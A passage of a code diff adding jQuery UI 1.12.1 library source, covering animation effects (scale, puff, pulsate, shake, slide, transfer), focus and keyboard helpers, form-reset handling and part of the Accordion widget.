+					.css( "position", position === "static" ? "relative" : position )
+					.offset( offset );
+
+				// Need to save style here so that automatic style restoration
+				// doesn't restore to the original styles from before the animation.
+				$.effects.saveStyle( element );
+			}
+
+			done();
+		}
+	} );
+
+} );
+
+
+/*!
+ * jQuery UI Effects Scale 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+//>>label: Scale Effect
+//>>group: Effects
+//>>description: Grows or shrinks an element and its content.
+//>>docs: http://api.jqueryui.com/scale-effect/
+//>>demos: http://jqueryui.com/effect/
+
+
+
+var effectsEffectScale = $.effects.define( "scale", function( options, done ) {
+
+	// Create element
+	var el = $( this ),
+		mode = options.mode,
+		percent = parseInt( options.percent, 10 ) ||
+			( parseInt( options.percent, 10 ) === 0 ? 0 : ( mode !== "effect" ? 0 : 100 ) ),
+
+		newOptions = $.extend( true, {
+			from: $.effects.scaledDimensions( el ),
+			to: $.effects.scaledDimensions( el, percent, options.direction || "both" ),
+			origin: options.origin || [ "middle", "center" ]
+		}, options );
+
+	// Fade option to support puff
+	if ( options.fade ) {
+		newOptions.from.opacity = 1;
+		newOptions.to.opacity = 0;
+	}
+
+	$.effects.effect.size.call( this, newOptions, done );
+} );
+
+
+/*!
+ * jQuery UI Effects Puff 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+//>>label: Puff Effect
+//>>group: Effects
+//>>description: Creates a puff effect by scaling the element up and hiding it at the same time.
+//>>docs: http://api.jqueryui.com/puff-effect/
+//>>demos: http://jqueryui.com/effect/
+
+
+
+var effectsEffectPuff = $.effects.define( "puff", "hide", function( options, done ) {
+	var newOptions = $.extend( true, {}, options, {
+		fade: true,
+		percent: parseInt( options.percent, 10 ) || 150
+	} );
+
+	$.effects.effect.scale.call( this, newOptions, done );
+} );
+
+
+/*!
+ * jQuery UI Effects Pulsate 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+//>>label: Pulsate Effect
+//>>group: Effects
+//>>description: Pulsates an element n times by changing the opacity to zero and back.
+//>>docs: http://api.jqueryui.com/pulsate-effect/
+//>>demos: http://jqueryui.com/effect/
+
+
+
+var effectsEffectPulsate = $.effects.define( "pulsate", "show", function( options, done ) {
+	var element = $( this ),
+		mode = options.mode,
+		show = mode === "show",
+		hide = mode === "hide",
+		showhide = show || hide,
+
+		// Showing or hiding leaves off the "last" animation
+		anims = ( ( options.times || 5 ) * 2 ) + ( showhide ? 1 : 0 ),
+		duration = options.duration / anims,
+		animateTo = 0,
+		i = 1,
+		queuelen = element.queue().length;
+
+	if ( show || !element.is( ":visible" ) ) {
+		element.css( "opacity", 0 ).show();
+		animateTo = 1;
+	}
+
+	// Anims - 1 opacity "toggles"
+	for ( ; i < anims; i++ ) {
+		element.animate( { opacity: animateTo }, duration, options.easing );
+		animateTo = 1 - animateTo;
+	}
+
+	element.animate( { opacity: animateTo }, duration, options.easing );
+
+	element.queue( done );
+
+	$.effects.unshift( element, queuelen, anims + 1 );
+} );
+
+
+/*!
+ * jQuery UI Effects Shake 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+//>>label: Shake Effect
+//>>group: Effects
+//>>description: Shakes an element horizontally or vertically n times.
+//>>docs: http://api.jqueryui.com/shake-effect/
+//>>demos: http://jqueryui.com/effect/
+
+
+
+var effectsEffectShake = $.effects.define( "shake", function( options, done ) {
+
+	var i = 1,
+		element = $( this ),
+		direction = options.direction || "left",
+		distance = options.distance || 20,
+		times = options.times || 3,
+		anims = times * 2 + 1,
+		speed = Math.round( options.duration / anims ),
+		ref = ( direction === "up" || direction === "down" ) ? "top" : "left",
+		positiveMotion = ( direction === "up" || direction === "left" ),
+		animation = {},
+		animation1 = {},
+		animation2 = {},
+
+		queuelen = element.queue().length;
+
+	$.effects.createPlaceholder( element );
+
+	// Animation
+	animation[ ref ] = ( positiveMotion ? "-=" : "+=" ) + distance;
+	animation1[ ref ] = ( positiveMotion ? "+=" : "-=" ) + distance * 2;
+	animation2[ ref ] = ( positiveMotion ? "-=" : "+=" ) + distance * 2;
+
+	// Animate
+	element.animate( animation, speed, options.easing );
+
+	// Shakes
+	for ( ; i < times; i++ ) {
+		element
+			.animate( animation1, speed, options.easing )
+			.animate( animation2, speed, options.easing );
+	}
+
+	element
+		.animate( animation1, speed, options.easing )
+		.animate( animation, speed / 2, options.easing )
+		.queue( done );
+
+	$.effects.unshift( element, queuelen, anims + 1 );
+} );
+
+
+/*!
+ * jQuery UI Effects Slide 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+//>>label: Slide Effect
+//>>group: Effects
+//>>description: Slides an element in and out of the viewport.
+//>>docs: http://api.jqueryui.com/slide-effect/
+//>>demos: http://jqueryui.com/effect/
+
+
+
+var effectsEffectSlide = $.effects.define( "slide", "show", function( options, done ) {
+	var startClip, startRef,
+		element = $( this ),
+		map = {
+			up: [ "bottom", "top" ],
+			down: [ "top", "bottom" ],
+			left: [ "right", "left" ],
+			right: [ "left", "right" ]
+		},
+		mode = options.mode,
+		direction = options.direction || "left",
+		ref = ( direction === "up" || direction === "down" ) ? "top" : "left",
+		positiveMotion = ( direction === "up" || direction === "left" ),
+		distance = options.distance ||
+			element[ ref === "top" ? "outerHeight" : "outerWidth" ]( true ),
+		animation = {};
+
+	$.effects.createPlaceholder( element );
+
+	startClip = element.cssClip();
+	startRef = element.position()[ ref ];
+
+	// Define hide animation
+	animation[ ref ] = ( positiveMotion ? -1 : 1 ) * distance + startRef;
+	animation.clip = element.cssClip();
+	animation.clip[ map[ direction ][ 1 ] ] = animation.clip[ map[ direction ][ 0 ] ];
+
+	// Reverse the animation if we're showing
+	if ( mode === "show" ) {
+		element.cssClip( animation.clip );
+		element.css( ref, animation[ ref ] );
+		animation.clip = startClip;
+		animation[ ref ] = startRef;
+	}
+
+	// Actually animate
+	element.animate( animation, {
+		queue: false,
+		duration: options.duration,
+		easing: options.easing,
+		complete: done
+	} );
+} );
+
+
+/*!
+ * jQuery UI Effects Transfer 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+//>>label: Transfer Effect
+//>>group: Effects
+//>>description: Displays a transfer effect from one element to another.
+//>>docs: http://api.jqueryui.com/transfer-effect/
+//>>demos: http://jqueryui.com/effect/
+
+
+
+var effect;
+if ( $.uiBackCompat !== false ) {
+	effect = $.effects.define( "transfer", function( options, done ) {
+		$( this ).transfer( options, done );
+	} );
+}
+var effectsEffectTransfer = effect;
+
+
+/*!
+ * jQuery UI Focusable 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+//>>label: :focusable Selector
+//>>group: Core
+//>>description: Selects elements which can be focused.
+//>>docs: http://api.jqueryui.com/focusable-selector/
+
+
+
+// Selectors
+$.ui.focusable = function( element, hasTabindex ) {
+	var map, mapName, img, focusableIfVisible, fieldset,
+		nodeName = element.nodeName.toLowerCase();
+
+	if ( "area" === nodeName ) {
+		map = element.parentNode;
+		mapName = map.name;
+		if ( !element.href || !mapName || map.nodeName.toLowerCase() !== "map" ) {
+			return false;
+		}
+		img = $( "img[usemap='#" + mapName + "']" );
+		return img.length > 0 && img.is( ":visible" );
+	}
+
+	if ( /^(input|select|textarea|button|object)$/.test( nodeName ) ) {
+		focusableIfVisible = !element.disabled;
+
+		if ( focusableIfVisible ) {
+
+			// Form controls within a disabled fieldset are disabled.
+			// However, controls within the fieldset's legend do not get disabled.
+			// Since controls generally aren't placed inside legends, we skip
+			// this portion of the check.
+			fieldset = $( element ).closest( "fieldset" )[ 0 ];
+			if ( fieldset ) {
+				focusableIfVisible = !fieldset.disabled;
+			}
+		}
+	} else if ( "a" === nodeName ) {
+		focusableIfVisible = element.href || hasTabindex;
+	} else {
+		focusableIfVisible = hasTabindex;
+	}
+
+	return focusableIfVisible && $( element ).is( ":visible" ) && visible( $( element ) );
+};
+
+// Support: IE 8 only
+// IE 8 doesn't resolve inherit to visible/hidden for computed values
+function visible( element ) {
+	var visibility = element.css( "visibility" );
+	while ( visibility === "inherit" ) {
+		element = element.parent();
+		visibility = element.css( "visibility" );
+	}
+	return visibility !== "hidden";
+}
+
+$.extend( $.expr[ ":" ], {
+	focusable: function( element ) {
+		return $.ui.focusable( element, $.attr( element, "tabindex" ) != null );
+	}
+} );
+
+var focusable = $.ui.focusable;
+
+
+
+
+// Support: IE8 Only
+// IE8 does not support the form attribute and when it is supplied. It overwrites the form prop
+// with a string, so we need to find the proper form.
+var form = $.fn.form = function() {
+	return typeof this[ 0 ].form === "string" ? this.closest( "form" ) : $( this[ 0 ].form );
+};
+
+
+/*!
+ * jQuery UI Form Reset Mixin 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+//>>label: Form Reset Mixin
+//>>group: Core
+//>>description: Refresh input widgets when their form is reset
+//>>docs: http://api.jqueryui.com/form-reset-mixin/
+
+
+
+var formResetMixin = $.ui.formResetMixin = {
+	_formResetHandler: function() {
+		var form = $( this );
+
+		// Wait for the form reset to actually happen before refreshing
+		setTimeout( function() {
+			var instances = form.data( "ui-form-reset-instances" );
+			$.each( instances, function() {
+				this.refresh();
+			} );
+		} );
+	},
+
+	_bindFormResetHandler: function() {
+		this.form = this.element.form();
+		if ( !this.form.length ) {
+			return;
+		}
+
+		var instances = this.form.data( "ui-form-reset-instances" ) || [];
+		if ( !instances.length ) {
+
+			// We don't use _on() here because we use a single event handler per form
+			this.form.on( "reset.ui-form-reset", this._formResetHandler );
+		}
+		instances.push( this );
+		this.form.data( "ui-form-reset-instances", instances );
+	},
+
+	_unbindFormResetHandler: function() {
+		if ( !this.form.length ) {
+			return;
+		}
+
+		var instances = this.form.data( "ui-form-reset-instances" );
+		instances.splice( $.inArray( this, instances ), 1 );
+		if ( instances.length ) {
+			this.form.data( "ui-form-reset-instances", instances );
+		} else {
+			this.form
+				.removeData( "ui-form-reset-instances" )
+				.off( "reset.ui-form-reset" );
+		}
+	}
+};
+
+
+/*!
+ * jQuery UI Support for jQuery core 1.7.x 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ */
+
+//>>label: jQuery 1.7 Support
+//>>group: Core
+//>>description: Support version 1.7.x of jQuery core
+
+
+
+// Support: jQuery 1.7 only
+// Not a great way to check versions, but since we only support 1.7+ and only
+// need to detect <1.8, this is a simple check that should suffice. Checking
+// for "1.7." would be a bit safer, but the version string is 1.7, not 1.7.0
+// and we'll never reach 1.70.0 (if we do, we certainly won't be supporting
+// 1.7 anymore). See #11197 for why we're not using feature detection.
+if ( $.fn.jquery.substring( 0, 3 ) === "1.7" ) {
+
+	// Setters for .innerWidth(), .innerHeight(), .outerWidth(), .outerHeight()
+	// Unlike jQuery Core 1.8+, these only support numeric values to set the
+	// dimensions in pixels
+	$.each( [ "Width", "Height" ], function( i, name ) {
+		var side = name === "Width" ? [ "Left", "Right" ] : [ "Top", "Bottom" ],
+			type = name.toLowerCase(),
+			orig = {
+				innerWidth: $.fn.innerWidth,
+				innerHeight: $.fn.innerHeight,
+				outerWidth: $.fn.outerWidth,
+				outerHeight: $.fn.outerHeight
+			};
+
+		function reduce( elem, size, border, margin ) {
+			$.each( side, function() {
+				size -= parseFloat( $.css( elem, "padding" + this ) ) || 0;
+				if ( border ) {
+					size -= parseFloat( $.css( elem, "border" + this + "Width" ) ) || 0;
+				}
+				if ( margin ) {
+					size -= parseFloat( $.css( elem, "margin" + this ) ) || 0;
+				}
+			} );
+			return size;
+		}
+
+		$.fn[ "inner" + name ] = function( size ) {
+			if ( size === undefined ) {
+				return orig[ "inner" + name ].call( this );
+			}
+
+			return this.each( function() {
+				$( this ).css( type, reduce( this, size ) + "px" );
+			} );
+		};
+
+		$.fn[ "outer" + name ] = function( size, margin ) {
+			if ( typeof size !== "number" ) {
+				return orig[ "outer" + name ].call( this, size );
+			}
+
+			return this.each( function() {
+				$( this ).css( type, reduce( this, size, true, margin ) + "px" );
+			} );
+		};
+	} );
+
+	$.fn.addBack = function( selector ) {
+		return this.add( selector == null ?
+			this.prevObject : this.prevObject.filter( selector )
+		);
+	};
+}
+
+;
+/*!
+ * jQuery UI Keycode 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+//>>label: Keycode
+//>>group: Core
+//>>description: Provide keycodes as keynames
+//>>docs: http://api.jqueryui.com/jQuery.ui.keyCode/
+
+
+var keycode = $.ui.keyCode = {
+	BACKSPACE: 8,
+	COMMA: 188,
+	DELETE: 46,
+	DOWN: 40,
+	END: 35,
+	ENTER: 13,
+	ESCAPE: 27,
+	HOME: 36,
+	LEFT: 37,
+	PAGE_DOWN: 34,
+	PAGE_UP: 33,
+	PERIOD: 190,
+	RIGHT: 39,
+	SPACE: 32,
+	TAB: 9,
+	UP: 38
+};
+
+
+
+
+// Internal use only
+var escapeSelector = $.ui.escapeSelector = ( function() {
+	var selectorEscape = /([!"#$%&'()*+,./:;<=>?@[\]^`{|}~])/g;
+	return function( selector ) {
+		return selector.replace( selectorEscape, "\\$1" );
+	};
+} )();
+
+
+/*!
+ * jQuery UI Labels 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+//>>label: labels
+//>>group: Core
+//>>description: Find all the labels associated with a given input
+//>>docs: http://api.jqueryui.com/labels/
+
+
+
+var labels = $.fn.labels = function() {
+	var ancestor, selector, id, labels, ancestors;
+
+	// Check control.labels first
+	if ( this[ 0 ].labels && this[ 0 ].labels.length ) {
+		return this.pushStack( this[ 0 ].labels );
+	}
+
+	// Support: IE <= 11, FF <= 37, Android <= 2.3 only
+	// Above browsers do not support control.labels. Everything below is to support them
+	// as well as document fragments. control.labels does not work on document fragments
+	labels = this.eq( 0 ).parents( "label" );
+
+	// Look for the label based on the id
+	id = this.attr( "id" );
+	if ( id ) {
+
+		// We don't search against the document in case the element
+		// is disconnected from the DOM
+		ancestor = this.eq( 0 ).parents().last();
+
+		// Get a full set of top level ancestors
+		ancestors = ancestor.add( ancestor.length ? ancestor.siblings() : this.siblings() );
+
+		// Create a selector for the label based on the id
+		selector = "label[for='" + $.ui.escapeSelector( id ) + "']";
+
+		labels = labels.add( ancestors.find( selector ).addBack( selector ) );
+
+	}
+
+	// Return whatever we have found for labels
+	return this.pushStack( labels );
+};
+
+
+/*!
+ * jQuery UI Scroll Parent 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+//>>label: scrollParent
+//>>group: Core
+//>>description: Get the closest ancestor element that is scrollable.
+//>>docs: http://api.jqueryui.com/scrollParent/
+
+
+
+var scrollParent = $.fn.scrollParent = function( includeHidden ) {
+	var position = this.css( "position" ),
+		excludeStaticParent = position === "absolute",
+		overflowRegex = includeHidden ? /(auto|scroll|hidden)/ : /(auto|scroll)/,
+		scrollParent = this.parents().filter( function() {
+			var parent = $( this );
+			if ( excludeStaticParent && parent.css( "position" ) === "static" ) {
+				return false;
+			}
+			return overflowRegex.test( parent.css( "overflow" ) + parent.css( "overflow-y" ) +
+				parent.css( "overflow-x" ) );
+		} ).eq( 0 );
+
+	return position === "fixed" || !scrollParent.length ?
+		$( this[ 0 ].ownerDocument || document ) :
+		scrollParent;
+};
+
+
+/*!
+ * jQuery UI Tabbable 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+//>>label: :tabbable Selector
+//>>group: Core
+//>>description: Selects elements which can be tabbed to.
+//>>docs: http://api.jqueryui.com/tabbable-selector/
+
+
+
+var tabbable = $.extend( $.expr[ ":" ], {
+	tabbable: function( element ) {
+		var tabIndex = $.attr( element, "tabindex" ),
+			hasTabindex = tabIndex != null;
+		return ( !hasTabindex || tabIndex >= 0 ) && $.ui.focusable( element, hasTabindex );
+	}
+} );
+
+
+/*!
+ * jQuery UI Unique ID 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+//>>label: uniqueId
+//>>group: Core
+//>>description: Functions to generate and remove uniqueId's
+//>>docs: http://api.jqueryui.com/uniqueId/
+
+
+
+var uniqueId = $.fn.extend( {
+	uniqueId: ( function() {
+		var uuid = 0;
+
+		return function() {
+			return this.each( function() {
+				if ( !this.id ) {
+					this.id = "ui-id-" + ( ++uuid );
+				}
+			} );
+		};
+	} )(),
+
+	removeUniqueId: function() {
+		return this.each( function() {
+			if ( /^ui-id-\d+$/.test( this.id ) ) {
+				$( this ).removeAttr( "id" );
+			}
+		} );
+	}
+} );
+
+
+/*!
+ * jQuery UI Accordion 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+//>>label: Accordion
+//>>group: Widgets
+// jscs:disable maximumLineLength
+//>>description: Displays collapsible content panels for presenting information in a limited amount of space.
+// jscs:enable maximumLineLength
+//>>docs: http://api.jqueryui.com/accordion/
+//>>demos: http://jqueryui.com/accordion/
+//>>css.structure: ../../themes/base/core.css
+//>>css.structure: ../../themes/base/accordion.css
+//>>css.theme: ../../themes/base/theme.css
+
+
+
+var widgetsAccordion = $.widget( "ui.accordion", {
+	version: "1.12.1",
+	options: {
+		active: 0,
+		animate: {},
+		classes: {
+			"ui-accordion-header": "ui-corner-top",
+			"ui-accordion-header-collapsed": "ui-corner-all",
+			"ui-accordion-content": "ui-corner-bottom"
+		},
+		collapsible: false,
+		event: "click",
+		header: "> li > :first-child, > :not(li):even",
+		heightStyle: "auto",
+		icons: {
+			activeHeader: "ui-icon-triangle-1-s",
+			header: "ui-icon-triangle-1-e"
+		},
+
+		// Callbacks
+		activate: null,
+		beforeActivate: null
+	},
+
+	hideProps: {
+		borderTopWidth: "hide",
+		borderBottomWidth: "hide",
+		paddingTop: "hide",
+		paddingBottom: "hide",
+		height: "hide"
+	},
+
+	showProps: {
+		borderTopWidth: "show",
+		borderBottomWidth: "show",
+		paddingTop: "show",
+		paddingBottom: "show",
+		height: "show"
+	},
+
+	_create: function() {
+		var options = this.options;
+
+		this.prevShow = this.prevHide = $();
+		this._addClass( "ui-accordion", "ui-widget ui-helper-reset" );
+		this.element.attr( "role", "tablist" );
+
+		// Don't allow collapsible: false and active: false / null
+		if ( !options.collapsible && ( options.active === false || options.active == null ) ) {
+			options.active = 0;
+		}
+
+		this._processPanels();
+
+		// handle negative values
+		if ( options.active < 0 ) {
+			options.active += this.headers.length;
+		}
+		this._refresh();
+	},
+
+	_getCreateEventData: function() {
+		return {
+			header: this.active,
+			panel: !this.active.length ? $() : this.active.next()
+		};
+	},
+
+	_createIcons: function() {
+		var icon, children,
+			icons = this.options.icons;
+
+		if ( icons ) {
+			icon = $( "<span>" );
+			this._addClass( icon, "ui-accordion-header-icon", "ui-icon " + icons.header );
+			icon.prependTo( this.headers );
+			children = this.active.children( ".ui-accordion-header-icon" );
+			this._removeClass( children, icons.header )
+				._addClass( children, null, icons.activeHeader )
+				._addClass( this.headers, "ui-accordion-icons" );
+		}
+	},
+
+	_destroyIcons: function() {
+		this._removeClass( this.headers, "ui-accordion-icons" );
+		this.headers.children( ".ui-accordion-header-icon" ).remove();
+	},
+
+	_destroy: function() {
+		var contents;
+
+		// Clean up main element
+		this.element.removeAttr( "role" );
+
+		// Clean up headers
+		this.headers
+			.removeAttr( "role aria-expanded aria-selected aria-controls tabIndex" )
+			.removeUniqueId();
+
+		this._destroyIcons();
+
+		// Clean up content panels
+		contents = this.headers.next()
+			.css( "display", "" )
+			.removeAttr( "role aria-hidden aria-labelledby" )
+			.removeUniqueId();
+
+		if ( this.options.heightStyle !== "content" ) {
+			contents.css( "height", "" );
+		}
+	},
+
+	_setOption: function( key, value ) {
+		if ( key === "active" ) {
+
+			// _activate() will handle invalid values and update this.options
+			this._activate( value );
+			return;
+		}
+
+		if ( key === "event" ) {
+			if ( this.options.event ) {
+				this._off( this.headers, this.options.event );
+			}
+			this._setupEvents( value );
+		}
+
+		this._super( key, value );
+
+		// Setting collapsible: false while collapsed; open first panel
+		if ( key === "collapsible" && !value && this.options.active === false ) {
+			this._activate( 0 );
+		}
+
+		if ( key === "icons" ) {
+			this._destroyIcons();
+			if ( value ) {
+				this._createIcons();
+			}
+		}
+	},
+
+	_setOptionDisabled: function( value ) {
+		this._super( value );
+
+		this.element.attr( "aria-disabled", value );
+
+		// Support: IE8 Only
+		// #5332 / #6059 - opacity doesn't cascade to positioned elements in IE
+		// so we need to add the disabled class to the headers and panels
+		this._toggleClass( null, "ui-state-disabled", !!value );
+		this._toggleClass( this.headers.add( this.headers.next() ), null, "ui-state-disabled",
+			!!value );
+	},
+
+	_keydown: function( event ) {
+		if ( event.altKey || event.ctrlKey ) {
+			return;
+		}
+
+		var keyCode = $.ui.keyCode,
+			length = this.headers.length,
+			currentIndex = this.headers.index( event.target ),
+			toFocus = false;
+
+		switch ( event.keyCode ) {
+		case keyCode.RIGHT:
+		case keyCode.DOWN:
+			toFocus = this.headers[ ( currentIndex + 1 ) % length ];
+			break;
+		case keyCode.LEFT:
+		case keyCode.UP:
+			toFocus = this.headers[ ( currentIndex - 1 + length ) % length ];
+			break;
+		case keyCode.SPACE:
+		case keyCode.ENTER:
+			this._eventHandler( event );
+			break;
+		case keyCode.HOME:
+			toFocus = this.headers[ 0 ];
+			break;
+		case keyCode.END:
+			toFocus = this.headers[ length - 1 ];
+			break;
+		}
+
+		if ( toFocus ) {
+			$( event.target ).attr( "tabIndex", -1 );
+			$( toFocus ).attr( "tabIndex", 0 );
+			$( toFocus ).trigger( "focus" );
+			event.preventDefault();
+		}
+	},
+
+	_panelKeyDown: function( event ) {
+		if ( event.keyCode === $.ui.keyCode.UP && event.ctrlKey ) {
+			$( event.currentTarget ).prev().trigger( "focus" );
+		}
+	},
+
+	refresh: function() {
+		var options = this.options;
+		this._processPanels();
+
+		// Was collapsed or no panel
+		if ( ( options.active === false && options.collapsible === true ) ||
+				!this.headers.length ) {
+			options.active = false;
+			this.active = $();
+
+		// active false only when collapsible is true
+		} else if ( options.active === false ) {
+			this._activate( 0 );
+
+		// was active, but active panel is gone
+		} else if ( this.active.length && !$.contains( this.element[ 0 ], this.active[ 0 ] ) ) {
+
+			// all remaining panel are disabled
+			if ( this.headers.length === this.headers.find( ".ui-state-disabled" ).length ) {
+				options.active = false;
+				this.active = $();
+
+			// activate previous panel
+			} else {
+				this._activate( Math.max( 0, options.active - 1 ) );
+			}
+
+		// was active, active panel still exists
+		} else {
+
+			// make sure active index is correct
+			options.active = this.headers.index( this.active );
+		}
+
+		this._destroyIcons();
+
+		this._refresh();
+	},
+
+	_processPanels: function() {
+		var prevHeaders = this.headers,
+			prevPanels = this.panels;
+
+		this.headers = this.element.find( this.options.header );
+		this._addClass( this.headers, "ui-accordion-header ui-accordion-header-collapsed",
+			"ui-state-default" );
+
+		this.panels = this.headers.next().filter( ":not(.ui-accordion-content-active)" ).hide();
+		this._addClass( this.panels, "ui-accordion-content", "ui-helper-reset ui-widget-content" );
+
+		// Avoid memory leaks (#10056)
+		if ( prevPanels ) {
+			this._off( prevHeaders.not( this.headers ) );
+			this._off( prevPanels.not( this.panels ) );
+		}
+	},
+
+	_refresh: function() {
+		var maxHeight,
+			options = this.options,
+			heightStyle = options.heightStyle,
+			parent = this.element.parent();
+
+		this.active = this._findActive( options.active );
+		this._addClass( this.active, "ui-accordion-header-active", "ui-state-active" )
+			._removeClass( this.active, "ui-accordion-header-collapsed" );
+		this._addClass( this.active.next(), "ui-accordion-content-active" );
+		this.active.next().show();
+
+		this.headers
+			.attr( "role", "tab" )
+			.each( function() {
+				var header = $( this ),
+					headerId = header.uniqueId().attr( "id" ),
+					panel = header.next(),
+					panelId = panel.uniqueId().attr( "id" );
+				header.attr( "aria-controls", panelId );
+				panel.attr( "aria-labelledby", headerId );
+			} )
+			.next()
+				.attr( "role", "tabpanel" );
+
+		this.headers
+			.not( this.active )
+				.attr( {
+					"aria-selected": "false",
+					"aria-expanded": "false",
+					tabIndex: -1
+				} )
+				.next()
+					.attr( {
+						"aria-hidden": "true"
+					} )
+					.hide();
+
+		// Make sure at least one header is in the tab order
+		if ( !this.active.length ) {
+			this.headers.eq( 0 ).attr( "tabIndex", 0 );
+		} else {
+			this.active.attr( {
+				"aria-selected": "true",
+				"aria-expanded": "true",
+				tabIndex: 0
+			} )
+				.next()
+					.attr( {
+						"aria-hidden": "false"
+					} );
+		}
+
+		this._createIcons();
+
+		this._setupEvents( options.event );
+
+		if ( heightStyle === "fill" ) {
+			maxHeight = parent.height();
+			this.element.siblings( ":visible" ).each( function() {
+				var elem = $( this ),
+					position = elem.css( "position" );
+
+				if ( position === "absolute" || position === "fixed" ) {
+					return;
+				}
+				maxHeight -= elem.outerHeight( true );
+			} );
+
+			this.headers.each( function() {
+				maxHeight -= $( this ).outerHeight( true );
+			} );
+
+			this.headers.next()
+				.each( function() {
+					$( this ).height( Math.max( 0, maxHeight -
+						$( this ).innerHeight() + $( this ).height() ) );
+				} )
+				.css( "overflow", "auto" );
+		} else if ( heightStyle === "auto" ) {
+			maxHeight = 0;
+			this.headers.next()
+				.each( function() {
+					var isVisible = $( this ).is( ":visible" );
+					if ( !isVisible ) {
+						$( this ).show();
+					}
+					maxHeight = Math.max( maxHeight, $( this ).css( "height", "" ).height() );
+					if ( !isVisible ) {
+						$( this ).hide();
+					}
+				} )
+				.height( maxHeight );
+		}
+	},
+
+	_activate: function( index ) {
+		var active = this._findActive( index )[ 0 ];
+
+		// Trying to activate the already active panel
+		if ( active === this.active[ 0 ] ) {
+			return;
+		}
+
+		// Trying to collapse, simulate a click on the currently active header
+		active = active || this.active[ 0 ];
+
+		this._eventHandler( {
+			target: active,
+			currentTarget: active,
+			preventDefault: $.noop
+		} );
+	},
+
+	_findActive: function( selector ) {
+		return typeof selector === "number" ? this.headers.eq( selector ) : $();
+	},
+
+	_setupEvents: function( event ) {
+		var events = {
+			keydown: "_keydown"
+		};
+		if ( event ) {
+			$.each( event.split( " " ), function( index, eventName ) {
+				events[ eventName ] = "_eventHandler";
+			} );
+		}
+
+		this._off( this.headers.add( this.headers.next() ) );
+		this._on( this.headers, events );
+		this._on( this.headers.next(), { keydown: "_panelKeyDown" } );
+		this._hoverable( this.headers );
+		this._focusable( this.headers );
+	},
+
+	_eventHandler: function( event ) {
+		var activeChildren, clickedChildren,
+			options = this.options,
+			active = this.active,
+			clicked = $( event.currentTarget ),
+			clickedIsActive = clicked[ 0 ] === active[ 0 ],
+			collapsing = clickedIsActive && options.collapsible,
+			toShow = collapsing ? $() : clicked.next(),
+			toHide = active.next(),
+			eventData = {
+				oldHeader: active,
+				oldPanel: toHide,
+				newHeader: collapsing ? $() : clicked,
+				newPanel: toShow
+			};
+
+		event.preventDefault();
+
+		if (
+
+				// click on active header, but not collapsible
+				( clickedIsActive && !options.collapsible ) ||
+
+				// allow canceling activation
+				( this._trigger( "beforeActivate", event, eventData ) === false ) ) {
+			return;
+		}
+
+		options.active = collapsing ? false : this.headers.index( clicked );
+
+		// When the call to ._toggle() comes after the class changes
+		// it causes a very odd bug in IE 8 (see #6720)
+		this.active = clickedIsActive ? $() : clicked;
+		this._toggle( eventData );
+
+		// Switch classes
+		// corner classes on the previously active header stay after the animation
+		this._removeClass( active, "ui-accordion-header-active", "ui-state-active" );
+		if ( options.icons ) {
+			activeChildren = active.children( ".ui-accordion-header-icon" );
+			this._removeClass( activeChildren, null, options.icons.activeHeader )
+				._addClass( activeChildren, null, options.icons.header );
+		}
+
+		if ( !clickedIsActive ) {
+			this._removeClass( clicked, "ui-accordion-header-collapsed" )
+				._addClass( clicked, "ui-accordion-header-active", "ui-state-active" );
+			if ( options.icons ) {
+				clickedChildren = clicked.children( ".ui-accordion-header-icon" );
+				this._removeClass( clickedChildren, null, options.icons.header )
+					._addClass( clickedChildren, null, options.icons.activeHeader );
+			}
+
+			this._addClass( clicked.next(), "ui-accordion-content-active" );
+		}
+	},
+
+	_toggle: function( data ) {
+		var toShow = data.newPanel,
+			toHide = this.prevShow.length ? this.prevShow : data.oldPanel;
+
+		// Handle activating a panel during the animation for another activation
+		this.prevShow.add( this.prevHide ).stop( true, true );
+		this.prevShow = toShow;
+		this.prevHide = toHide;
+
+		if ( this.options.animate ) {
+			this._animate( toShow, toHide, data );
+		} else {
+			toHide.hide();
+			toShow.show();
+			this._toggleComplete( data );
+		}
+
+		toHide.attr( {
+			"aria-hidden": "true"
+		} );
+		toHide.prev().attr( {
+			"aria-selected": "false",
+			"aria-expanded": "false"
+		} );
+
+		// if we're switching panels, remove the old header from the tab order
+		// if we're opening from collapsed state, remove the previous header from the tab order
+		// if we're collapsing, then keep the collapsing header in the tab order
+		if ( toShow.length && toHide.length ) {
+			toHide.prev().attr( {
+				"tabIndex": -1,
+				"aria-expanded": "false"
+			} );
+		} else if ( toShow.length ) {
